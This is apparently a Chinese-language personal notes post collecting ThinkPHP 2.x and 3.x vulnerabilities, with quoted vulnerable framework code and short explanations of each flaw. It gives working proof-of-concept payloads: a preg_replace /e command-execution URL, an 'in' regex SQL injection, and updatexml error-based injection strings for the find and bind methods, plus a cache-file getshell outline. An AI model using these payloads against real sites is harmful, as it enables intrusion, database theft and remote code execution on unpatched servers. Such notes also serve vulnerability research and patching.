tp2、tp3漏洞整理


低版本仅作以后参考用

tp2.x、tp3.0

命令执行漏洞

这个漏洞忘了什么cms了,见过两次

漏洞成因

正则匹配采用/e修饰符

1
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

poc

1
http://your-ip:8080/index.php?s=/index/index/name/$%7B@phpinfo()%7D

tp3.x

query注入

简介:小于3.1.3,预处理未进行sql注入

进行处理的写法

1
$Model->where("id=%d and username='%s' and xx='%f'",$id,$username,$xx)->select();

未进行处理的写法

1
$model->query('select * from user where id=%d and status=%s',$id,$status);

成因:parseSql未进行sql处理

1
2
3
4
5
6
7
8
9
10
11
12
13
protected function parseSql($sql,$parse) {
// 分析表达式
if(true === $parse) {
$options = $this->_parseOptions();
$sql = $this->db->parseSql($sql,$options);
}elseif(is_array($parse)){ // SQL预处理
$sql = vsprintf($sql,$parse);
}else{
$sql = strtr($sql,array('__TABLE__'=>$this->getTableName(),'__PREFIX__'=>C('DB_PREFIX')));
}
$this->db->setModel($this->name);
return $sql;
}

where子单元正则表达式注入

1606787483498

  • preg_match(‘/IN/i’,$val[0]) //该正则没有起始符和终止符,xxxxinxxxxx等任意包含in的字符串都可以匹配成功,因而构成了注入

  • preg_match(‘/BETWEEN/i’,$val[0]) //同上

poc

1
id[0]=in ('xx')) or 1=1 --

分割线,以下3.2.3可用


find注入

代码形如

1
2
$data = I('post.');
$result = $model->find($data);

实际是靠的where语句的拼接

poc

1
id[where]=1 and 1=updatexml(1,concat(0x7e,user(),1)%23

bind 注入

简介:

此漏洞属于update和insert方法,select和find不存在

原因是,select语句使用此方法时,未进行参数绑定,无法找到:0的值

代码形如

1
2
3
4
5
6
7
8
public function index()
{
$User = M("Users");
$user['id'] = I('id');
$data['password'] = I('password');
$valu = $User->where($user)->save($data);
var_dump($valu);
}

参数绑定关键替换代码

1
2
3
4
if (!empty($this->bind)) {
$that = $this;
$this->queryStr = strtr($this->queryStr, array_map(function ($val) use ($that) {return "' . $that->escapeString($val) . '";}, $this->bind));
}

poc

id[1]的第一个数字,随实际情况

1
id[0]=bind&id[1]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)&password=1

exp和拼接注入

不在多说…

缓存getshell

主要就是在生成缓存的时候,S函数生成的文件中并未携带exit或者die字眼

如果在第二个参数部分可控的情况下会存在缓存getshell

S方法如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function S($name,$value='',$options=null) {
static $cache = '';
if(is_array($options)){
// 缓存操作的同时初始化
$type = isset($options['type'])?$options['type']:'';
$cache = Think\Cache::getInstance($type,$options);
}elseif(is_array($name)) { // 缓存初始化
$type = isset($name['type'])?$name['type']:'';
$cache = Think\Cache::getInstance($type,$name);
return $cache;
}elseif(empty($cache)) { // 自动初始化
$cache = Think\Cache::getInstance();
}
if(''=== $value){ // 获取缓存
return $cache->get($name);
}elseif(is_null($value)) { // 删除缓存
return $cache->rm($name);
}else { // 缓存数据
if(is_array($options)) {
$expire = isset($options['expire'])?$options['expire']:NULL;
}else{
$expire = is_numeric($options)?$options:NULL;
}
return $cache->set($name, $value, $expire);
}
}

set方法如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public function set($name,$value,$expire=null) {
N('cache_write',1);
if(is_null($expire)) {
$expire = $this->options['expire'];
}
$filename = $this->filename($name);
$data = serialize($value);
if( C('DATA_CACHE_COMPRESS') && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data,3);
}
if(C('DATA_CACHE_CHECK')) {//开启数据校验
$check = md5($data);
}else {
$check = '';
}
$data = "<?php\n//".sprintf('%012d',$expire).$check.$data."\n?>";
$result = file_put_contents($filename,$data);
if($result) {
if($this->options['length']>0) {
// 记录缓存队列
$this->queue($name);
}
clearstatcache();
return true;
}else {
return false;
}
}